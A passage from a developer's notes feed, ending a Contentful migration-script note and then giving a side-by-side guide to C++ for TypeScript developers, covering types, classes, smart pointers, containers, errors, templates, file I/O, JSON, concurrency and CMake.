&lt;li&gt;&lt;a href=&quot;https://www.contentful.com/help/cms-as-code/&quot;&gt;CMS as code&lt;/a&gt; - article about migrations etc on the Contentful help centre&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.contentful.com/developers/docs/concepts/multiple-environments/&quot;&gt;Managing multiple environments&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/contentful/contentful-migration/tree/master/examples&quot;&gt;Example migrations&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Migration scripts&lt;/h3&gt;
&lt;h4&gt;Richtext field&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;const myRichTextCT = migration
  .createContentType(&apos;myContentTypeWithRichText&apos;)
  .name(&apos;MyContentTypeWithRichText&apos;)
myRichTextCT
  .createField(&apos;richText&apos;)
  .name(&apos;Text&apos;)
  .type(&apos;RichText&apos;)
  .validations([
    {
      nodes: {
        &apos;embedded-entry-block&apos;: [
          {
            size: {
              min: 1,
              max: 4,
            },
          },
          {
            linkContentType: [&apos;markdownContentType&apos;],
          },
        ],
        &apos;embedded-entry-inline&apos;: [
          {
            size: {
              min: 10,
              max: 20,
            },
            message:
              &apos;this is a custom error for number of embedded inline entries&apos;,
          },
          {
            linkContentType: [&apos;parent&apos;],
            message: &apos;we only accept parent&apos;,
          },
        ],
      },
    },
    {
      enabledNodeTypes: [
        &apos;heading-1&apos;,
        &apos;heading-2&apos;,
        &apos;heading-3&apos;,
        &apos;heading-4&apos;,
        &apos;heading-5&apos;,
        &apos;ordered-list&apos;,
        &apos;unordered-list&apos;,
        &apos;hr&apos;,
        &apos;blockquote&apos;,
        &apos;embedded-entry-block&apos;,
        &apos;embedded-asset-block&apos;,
        &apos;hyperlink&apos;,
        &apos;entry-hyperlink&apos;,
        &apos;asset-hyperlink&apos;,
        &apos;embedded-entry-inline&apos;,
      ],
      message:
        &apos;Only heading 1, heading 2, heading 3, heading 4, heading 5, ordered list, unordered list, horizontal rule, quote, block entry, asset, link to Url, link to entry, link to asset, and inline entry nodes are allowed&apos;,
    },
  ])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Running the migration&lt;/h3&gt;
&lt;p&gt;It is a good idea to create a &lt;code&gt;test&lt;/code&gt; environment that is a clone of &lt;code&gt;master&lt;/code&gt; so that everything can be checked before running the migration script &quot;for real&quot;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;contentful space migration --space-id &amp;lt;space-id&amp;gt; --environment-id &apos;test&apos; 01-add-article-cta-type.js
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>C++ for TypeScript developers</title><link>https://zander.wtf/notes/cpp-for-ts-devs/</link><guid isPermaLink="true">https://zander.wtf/notes/cpp-for-ts-devs/</guid><description>A guide to C++ for developers coming from TypeScript/JavaScript. Key differences from TypeScript | Concept | TypeScript | C++ |…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A guide to C++ for developers coming from TypeScript/JavaScript.&lt;/p&gt;
&lt;h2&gt;Key differences from TypeScript&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;TypeScript&lt;/th&gt;
&lt;th&gt;C++&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Typing&lt;/td&gt;
&lt;td&gt;Static, structural&lt;/td&gt;
&lt;td&gt;Static, nominal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;Interpreted (via JS engine)&lt;/td&gt;
&lt;td&gt;Compiled to native binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Memory&lt;/td&gt;
&lt;td&gt;Garbage collected&lt;/td&gt;
&lt;td&gt;Manual (or smart pointers)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Null&lt;/td&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt; / &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nullptr&lt;/code&gt;, uninitialized&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Package manager&lt;/td&gt;
&lt;td&gt;npm/yarn/pnpm&lt;/td&gt;
&lt;td&gt;vcpkg, Conan, CMake&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Build system&lt;/td&gt;
&lt;td&gt;Bundlers (Webpack, etc.)&lt;/td&gt;
&lt;td&gt;CMake, Make, Ninja&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Variables and constants&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const name: string = &quot;Alice&quot;
let age: number = 30
const isActive = true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;string&amp;gt;

// Variables
std::string name = &quot;Alice&quot;;     // std::string, not primitive
int age = 30;
bool isActive = true;
double price = 19.99;

// const (compile-time or runtime constant)
const int MAX_SIZE = 100;
const std::string PREFIX = &quot;user_&quot;;

// constexpr (compile-time constant, preferred)
constexpr int BUFFER_SIZE = 1024;

// auto (type inference, like TypeScript&apos;s inference)
auto count = 42;        // int
auto message = &quot;hello&quot;; // const char*
auto name = std::string(&quot;Alice&quot;); // std::string
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Basic types&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;TypeScript&lt;/th&gt;
&lt;th&gt;C++&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;std::string&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;number&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;int&lt;/code&gt;, &lt;code&gt;long&lt;/code&gt;, &lt;code&gt;float&lt;/code&gt;, &lt;code&gt;double&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;boolean&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bool&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;any&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No direct equivalent (use templates/variants)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nullptr&lt;/code&gt; (for pointers)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Array&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;std::vector&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Record&amp;lt;K, V&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;std::map&amp;lt;K, V&amp;gt;&lt;/code&gt; or &lt;code&gt;std::unordered_map&amp;lt;K, V&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Set&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;std::set&amp;lt;T&amp;gt;&lt;/code&gt; or &lt;code&gt;std::unordered_set&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[T, U]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;std::tuple&amp;lt;T, U&amp;gt;&lt;/code&gt; or &lt;code&gt;std::pair&amp;lt;T, U&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Numeric types&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Integers
int x = 42;                    // At least 16 bits
long y = 100000L;              // At least 32 bits
long long z = 10000000000LL;   // At least 64 bits

// Fixed-width integers (preferred)
#include &amp;lt;cstdint&amp;gt;
int32_t a = 42;
int64_t b = 100000;
uint32_t c = 42;  // Unsigned

// Floating point
float f = 3.14f;
double d = 3.14159265359;

// Size in bytes
sizeof(int);    // Platform dependent (usually 4)
sizeof(double); // Usually 8
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Functions&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function greet(name: string): string {
    return `Hello, ${name}!`
}

const add = (a: number, b: number): number =&amp;gt; a + b

function log(message: string, level: string = &quot;INFO&quot;): void {
    console.log(`[${level}] ${message}`)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;string&amp;gt;
#include &amp;lt;iostream&amp;gt;

// Basic function
std::string greet(const std::string&amp;amp; name) {
    return &quot;Hello, &quot; + name + &quot;!&quot;;
}

// Lambda (like arrow functions)
auto add = [](int a, int b) -&amp;gt; int {
    return a + b;
};
// Short form
auto add = [](int a, int b) { return a + b; };

// Default parameters
void log(const std::string&amp;amp; message, const std::string&amp;amp; level = &quot;INFO&quot;) {
    std::cout &amp;lt;&amp;lt; &quot;[&quot; &amp;lt;&amp;lt; level &amp;lt;&amp;lt; &quot;] &quot; &amp;lt;&amp;lt; message &amp;lt;&amp;lt; &quot;\n&quot;;
}

// Function overloading (multiple functions, same name)
int add(int a, int b) { return a + b; }
double add(double a, double b) { return a + b; }
std::string add(const std::string&amp;amp; a, const std::string&amp;amp; b) { return a + b; }

// Pass by value, reference, or pointer
void byValue(int x);              // Copy
void byReference(int&amp;amp; x);         // Mutable reference
void byConstRef(const int&amp;amp; x);    // Read-only reference
void byPointer(int* x);           // Pointer (can be null)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Lambda captures&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int factor = 2;

// Capture by value (copy)
auto multiply = [factor](int n) { return n * factor; };

// Capture by reference
auto increment = [&amp;amp;factor](int n) { factor++; return n * factor; };

// Capture all by value
auto fn1 = [=]() { return factor; };

// Capture all by reference
auto fn2 = [&amp;amp;]() { factor++; };

// Mixed
auto fn3 = [=, &amp;amp;factor]() { /* ... */ };
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Classes&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class User {
    private id: number
    public name: string
    readonly email: string

    constructor(id: number, name: string, email: string) {
        this.id = id
        this.name = name
        this.email = email
    }

    greet(): string {
        return `Hello, ${this.name}`
    }

    static create(name: string): User {
        return new User(Date.now(), name, &quot;&quot;)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;string&amp;gt;
#include &amp;lt;ctime&amp;gt;

class User {
private:
    int id;

public:
    std::string name;
    const std::string email;  // const = readonly (set once in constructor)

    // Constructor with initializer list
    User(int id, const std::string&amp;amp; name, const std::string&amp;amp; email)
        : id(id), name(name), email(email) {}

    // Method
    std::string greet() const {  // const = doesn&apos;t modify object
        return &quot;Hello, &quot; + name;
    }

    // Getter
    int getId() const { return id; }

    // Static method
    static User create(const std::string&amp;amp; name) {
        return User(static_cast&amp;lt;int&amp;gt;(std::time(nullptr)), name, &quot;&quot;);
    }
};

// Usage
User user(1, &quot;Alice&quot;, &quot;alice@example.com&quot;);
user.greet();
User::create(&quot;Bob&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Structs (like public-by-default classes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// struct = class with public default access
// Use for simple data containers (like TypeScript interfaces)
struct Point {
    double x;
    double y;

    double distance() const {
        return std::sqrt(x * x + y * y);
    }
};

Point p{3.0, 4.0};  // Aggregate initialization
p.x = 5.0;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Inheritance and polymorphism&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface Drawable {
    draw(): void
}

class Shape {
    protected x: number
    constructor(x: number) { this.x = x }
}

class Circle extends Shape implements Drawable {
    constructor(x: number, public radius: number) {
        super(x)
    }
    draw() { /* ... */ }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Abstract base class (like interface)
class Drawable {
public:
    virtual void draw() const = 0;  // Pure virtual = abstract
    virtual ~Drawable() = default;  // Virtual destructor
};

class Shape {
protected:
    double x;

public:
    Shape(double x) : x(x) {}
    virtual ~Shape() = default;
};

// Multiple inheritance
class Circle : public Shape, public Drawable {
private:
    double radius;

public:
    Circle(double x, double radius) : Shape(x), radius(radius) {}

    void draw() const override {
        // Implementation
    }
};

// Usage
Circle circle(0, 5.0);
Drawable* drawable = &amp;amp;circle;  // Polymorphism via pointer
drawable-&amp;gt;draw();

// Or with smart pointers (preferred)
std::unique_ptr&amp;lt;Drawable&amp;gt; shape = std::make_unique&amp;lt;Circle&amp;gt;(0, 5.0);
shape-&amp;gt;draw();
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Memory management&lt;/h2&gt;
&lt;p&gt;C++ requires explicit memory management. Modern C++ uses smart pointers.&lt;/p&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const user = new User()  // Garbage collected automatically
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;memory&amp;gt;

// Stack allocation (automatic cleanup)
User user(1, &quot;Alice&quot;, &quot;&quot;);  // Destroyed when scope ends

// Heap allocation (manual - AVOID in modern C++)
User* ptr = new User(1, &quot;Alice&quot;, &quot;&quot;);
delete ptr;  // Must manually delete!

// Smart pointers (modern C++, preferred)

// unique_ptr: Single owner, auto-deleted
std::unique_ptr&amp;lt;User&amp;gt; user1 = std::make_unique&amp;lt;User&amp;gt;(1, &quot;Alice&quot;, &quot;&quot;);
// No delete needed - automatic when out of scope

// shared_ptr: Multiple owners, reference counted
std::shared_ptr&amp;lt;User&amp;gt; user2 = std::make_shared&amp;lt;User&amp;gt;(1, &quot;Alice&quot;, &quot;&quot;);
std::shared_ptr&amp;lt;User&amp;gt; user3 = user2;  // Both point to same object
// Deleted when last shared_ptr is destroyed

// weak_ptr: Non-owning reference (breaks cycles)
std::weak_ptr&amp;lt;User&amp;gt; weak = user2;
if (auto locked = weak.lock()) {  // Check if still valid
    locked-&amp;gt;greet();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Vectors (dynamic arrays)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const arr: number[] = [1, 2, 3]
arr.push(4)
const doubled = arr.map(n =&amp;gt; n * 2)
const evens = arr.filter(n =&amp;gt; n % 2 === 0)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

std::vector&amp;lt;int&amp;gt; arr = {1, 2, 3};
arr.push_back(4);

// Size and access
arr.size();          // 4
arr[0];              // 1 (no bounds checking)
arr.at(0);           // 1 (throws if out of bounds)
arr.front();         // First element
arr.back();          // Last element

// Iteration
for (int n : arr) {
    std::cout &amp;lt;&amp;lt; n &amp;lt;&amp;lt; &quot;\n&quot;;
}

for (const auto&amp;amp; n : arr) {  // By reference (more efficient)
    std::cout &amp;lt;&amp;lt; n &amp;lt;&amp;lt; &quot;\n&quot;;
}

// Transform (like map)
std::vector&amp;lt;int&amp;gt; doubled;
std::transform(arr.begin(), arr.end(), std::back_inserter(doubled),
    [](int n) { return n * 2; });

// Filter (copy_if)
std::vector&amp;lt;int&amp;gt; evens;
std::copy_if(arr.begin(), arr.end(), std::back_inserter(evens),
    [](int n) { return n % 2 == 0; });

// C++20 ranges (more like JS)
#include &amp;lt;ranges&amp;gt;

auto doubled = arr | std::views::transform([](int n) { return n * 2; });
auto evens = arr | std::views::filter([](int n) { return n % 2 == 0; });

// Reduce (accumulate)
#include &amp;lt;numeric&amp;gt;
int sum = std::accumulate(arr.begin(), arr.end(), 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Maps&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const scores: Record&amp;lt;string, number&amp;gt; = {
    alice: 100,
    bob: 85
}
scores[&quot;charlie&quot;] = 90
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;map&amp;gt;
#include &amp;lt;unordered_map&amp;gt;
#include &amp;lt;string&amp;gt;

// Ordered map (sorted by key, uses tree)
std::map&amp;lt;std::string, int&amp;gt; scores = {
    {&quot;alice&quot;, 100},
    {&quot;bob&quot;, 85}
};

// Unordered map (faster, uses hash table, like JS object)
std::unordered_map&amp;lt;std::string, int&amp;gt; scores = {
    {&quot;alice&quot;, 100},
    {&quot;bob&quot;, 85}
};

// Insert/update
scores[&quot;charlie&quot;] = 90;
scores.insert({&quot;david&quot;, 70});

// Access
int score = scores[&quot;alice&quot;];     // Creates entry if missing!
int score = scores.at(&quot;alice&quot;);  // Throws if missing

// Check if key exists
if (scores.count(&quot;alice&quot;) &amp;gt; 0) { /* exists */ }
if (scores.contains(&quot;alice&quot;)) { /* C++20 */ }

// Find
auto it = scores.find(&quot;alice&quot;);
if (it != scores.end()) {
    std::cout &amp;lt;&amp;lt; it-&amp;gt;second &amp;lt;&amp;lt; &quot;\n&quot;;  // 100
}

// Delete
scores.erase(&quot;bob&quot;);

// Iterate
for (const auto&amp;amp; [name, score] : scores) {  // Structured binding
    std::cout &amp;lt;&amp;lt; name &amp;lt;&amp;lt; &quot;: &quot; &amp;lt;&amp;lt; score &amp;lt;&amp;lt; &quot;\n&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Error handling&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;try {
    const data = await fetchData()
} catch (error) {
    if (error instanceof NotFoundError) {
        console.log(&quot;Not found&quot;)
    }
    throw error
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdexcept&amp;gt;

try {
    auto data = fetchData();
} catch (const NotFoundException&amp;amp; e) {
    std::cerr &amp;lt;&amp;lt; &quot;Not found: &quot; &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; &quot;\n&quot;;
} catch (const std::exception&amp;amp; e) {
    std::cerr &amp;lt;&amp;lt; &quot;Error: &quot; &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; &quot;\n&quot;;
    throw;  // Re-throw
} catch (...) {
    std::cerr &amp;lt;&amp;lt; &quot;Unknown error\n&quot;;
}

// Custom exception
class ValidationError : public std::runtime_error {
public:
    std::string field;

    ValidationError(const std::string&amp;amp; field, const std::string&amp;amp; message)
        : std::runtime_error(field + &quot;: &quot; + message), field(field) {}
};

throw ValidationError(&quot;email&quot;, &quot;Invalid format&quot;);

// Modern C++: std::optional for &quot;might not have value&quot;
#include &amp;lt;optional&amp;gt;

std::optional&amp;lt;User&amp;gt; findUser(int id) {
    if (id &amp;lt;= 0) return std::nullopt;
    return User(id, &quot;Alice&quot;, &quot;&quot;);
}

if (auto user = findUser(1)) {
    user-&amp;gt;greet();  // Use like pointer
}

// std::expected (C++23) for Result type
#include &amp;lt;expected&amp;gt;

std::expected&amp;lt;User, std::string&amp;gt; findUser(int id) {
    if (id &amp;lt;= 0) return std::unexpected(&quot;Invalid ID&quot;);
    return User(id, &quot;Alice&quot;, &quot;&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Templates (generics)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function first&amp;lt;T&amp;gt;(arr: T[]): T | undefined {
    return arr[0]
}

interface Container&amp;lt;T&amp;gt; {
    value: T
    map&amp;lt;U&amp;gt;(fn: (v: T) =&amp;gt; U): Container&amp;lt;U&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Function template
template&amp;lt;typename T&amp;gt;
T first(const std::vector&amp;lt;T&amp;gt;&amp;amp; arr) {
    if (arr.empty()) throw std::runtime_error(&quot;Empty vector&quot;);
    return arr[0];
}

// With optional
template&amp;lt;typename T&amp;gt;
std::optional&amp;lt;T&amp;gt; first(const std::vector&amp;lt;T&amp;gt;&amp;amp; arr) {
    if (arr.empty()) return std::nullopt;
    return arr[0];
}

// Class template
template&amp;lt;typename T&amp;gt;
class Container {
private:
    T value;

public:
    Container(T v) : value(v) {}

    T get() const { return value; }

    template&amp;lt;typename U&amp;gt;
    Container&amp;lt;U&amp;gt; map(std::function&amp;lt;U(T)&amp;gt; fn) const {
        return Container&amp;lt;U&amp;gt;(fn(value));
    }
};

// Usage
Container&amp;lt;int&amp;gt; c(42);
auto doubled = c.map&amp;lt;int&amp;gt;([](int n) { return n * 2; });

// Concepts (C++20) - like type constraints
template&amp;lt;typename T&amp;gt;
concept Numeric = std::integral&amp;lt;T&amp;gt; || std::floating_point&amp;lt;T&amp;gt;;

template&amp;lt;Numeric T&amp;gt;
T sum(const std::vector&amp;lt;T&amp;gt;&amp;amp; nums) {
    return std::accumulate(nums.begin(), nums.end(), T{});
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Strings&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const name = &quot;Alice&quot;
const message = `Hello, ${name}!`
&quot;hello&quot;.toUpperCase()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;string&amp;gt;
#include &amp;lt;sstream&amp;gt;
#include &amp;lt;algorithm&amp;gt;
#include &amp;lt;format&amp;gt;  // C++20

std::string name = &quot;Alice&quot;;

// Concatenation
std::string message = &quot;Hello, &quot; + name + &quot;!&quot;;

// String formatting (C++20)
std::string message = std::format(&quot;Hello, {}!&quot;, name);

// Older: stringstream
std::ostringstream ss;
ss &amp;lt;&amp;lt; &quot;Hello, &quot; &amp;lt;&amp;lt; name &amp;lt;&amp;lt; &quot;! You have &quot; &amp;lt;&amp;lt; 5 &amp;lt;&amp;lt; &quot; messages.&quot;;
std::string result = ss.str();

// String operations
name.length();           // or .size()
name.substr(0, 3);       // &quot;Ali&quot;
name.find(&quot;li&quot;);         // 1 (position)
name.empty();            // false
name.starts_with(&quot;Al&quot;);  // C++20
name.ends_with(&quot;ce&quot;);    // C++20

// Transform (no built-in toUpper on string)
std::string upper = name;
std::transform(upper.begin(), upper.end(), upper.begin(), ::toupper);

// C-style string (const char*)
const char* cstr = name.c_str();

// String to number
int n = std::stoi(&quot;42&quot;);
double d = std::stod(&quot;3.14&quot;);

// Number to string
std::string s = std::to_string(42);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;File I/O&lt;/h2&gt;
&lt;h3&gt;TypeScript (Node.js)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { readFileSync, writeFileSync } from &apos;fs&apos;

const content = readFileSync(&apos;file.txt&apos;, &apos;utf-8&apos;)
writeFileSync(&apos;output.txt&apos;, &apos;Hello, World!&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;fstream&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;sstream&amp;gt;

// Read entire file
std::ifstream file(&quot;file.txt&quot;);
std::stringstream buffer;
buffer &amp;lt;&amp;lt; file.rdbuf();
std::string content = buffer.str();

// Read line by line
std::ifstream file(&quot;file.txt&quot;);
std::string line;
while (std::getline(file, line)) {
    std::cout &amp;lt;&amp;lt; line &amp;lt;&amp;lt; &quot;\n&quot;;
}

// Write to file
std::ofstream out(&quot;output.txt&quot;);
out &amp;lt;&amp;lt; &quot;Hello, World!\n&quot;;
out.close();

// Append
std::ofstream out(&quot;output.txt&quot;, std::ios::app);
out &amp;lt;&amp;lt; &quot;More content\n&quot;;

// Check if file opened
if (!file.is_open()) {
    throw std::runtime_error(&quot;Could not open file&quot;);
}

// C++17: std::filesystem
#include &amp;lt;filesystem&amp;gt;
namespace fs = std::filesystem;

if (fs::exists(&quot;file.txt&quot;)) {
    auto size = fs::file_size(&quot;file.txt&quot;);
}

for (const auto&amp;amp; entry : fs::directory_iterator(&quot;.&quot;)) {
    std::cout &amp;lt;&amp;lt; entry.path() &amp;lt;&amp;lt; &quot;\n&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;JSON handling&lt;/h2&gt;
&lt;p&gt;C++ has no built-in JSON. Use a library like nlohmann/json.&lt;/p&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const json = JSON.stringify(obj)
const parsed = JSON.parse(json)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++ (nlohmann/json)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;nlohmann/json.hpp&amp;gt;
using json = nlohmann::json;

// Create JSON
json j;
j[&quot;name&quot;] = &quot;Alice&quot;;
j[&quot;age&quot;] = 30;
j[&quot;tags&quot;] = {&quot;admin&quot;, &quot;user&quot;};

// From object
struct User {
    std::string name;
    int age;
};
NLOHMANN_DEFINE_TYPE_NON_INTRUSIVE(User, name, age)  // Macro for serialization

User user{&quot;Alice&quot;, 30};
json j = user;

// Stringify
std::string str = j.dump();       // Compact
std::string str = j.dump(2);      // Pretty with 2-space indent

// Parse
json parsed = json::parse(str);
std::string name = parsed[&quot;name&quot;];
int age = parsed[&quot;age&quot;].get&amp;lt;int&amp;gt;();

// To object
User user = parsed.get&amp;lt;User&amp;gt;();

// Safe access
if (parsed.contains(&quot;email&quot;)) {
    auto email = parsed[&quot;email&quot;];
}

auto email = parsed.value(&quot;email&quot;, &quot;default@example.com&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Concurrency&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;async function fetchAll(urls: string[]): Promise&amp;lt;Response[]&amp;gt; {
    return Promise.all(urls.map(url =&amp;gt; fetch(url)))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;thread&amp;gt;
#include &amp;lt;future&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;mutex&amp;gt;

// Basic thread
std::thread t([]() {
    std::cout &amp;lt;&amp;lt; &quot;Hello from thread\n&quot;;
});
t.join();  // Wait for completion

// std::async (like Promise)
std::future&amp;lt;int&amp;gt; result = std::async(std::launch::async, []() {
    return computeValue();
});
int value = result.get();  // Blocks until ready

// Multiple async tasks (like Promise.all)
std::vector&amp;lt;std::future&amp;lt;std::string&amp;gt;&amp;gt; futures;
for (const auto&amp;amp; url : urls) {
    futures.push_back(std::async(std::launch::async, [&amp;amp;url]() {
        return fetch(url);
    }));
}

std::vector&amp;lt;std::string&amp;gt; results;
for (auto&amp;amp; f : futures) {
    results.push_back(f.get());
}

// Mutex for thread safety
std::mutex mtx;
int counter = 0;

void increment() {
    std::lock_guard&amp;lt;std::mutex&amp;gt; lock(mtx);  // RAII lock
    counter++;
}

// C++20: std::jthread (auto-joining)
std::jthread t([]() {
    // work
});
// No need to call join()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Build system (CMake)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;scripts&quot;: {
        &quot;build&quot;: &quot;tsc&quot;,
        &quot;dev&quot;: &quot;tsc --watch&quot;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++ (CMake)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# CMakeLists.txt
cmake_minimum_required(VERSION 3.20)
project(MyProject VERSION 1.0.0 LANGUAGES CXX)

set(CMAKE_CXX_STANDARD 20)
set(CMAKE_CXX_STANDARD_REQUIRED ON)

# Add executable
add_executable(myapp
    src/main.cpp
    src/utils.cpp
)

# Include directories
target_include_directories(myapp PRIVATE include)

# Link libraries
find_package(nlohmann_json REQUIRED)
target_link_libraries(myapp PRIVATE nlohmann_json::nlohmann_json)

# Add tests
enable_testing()
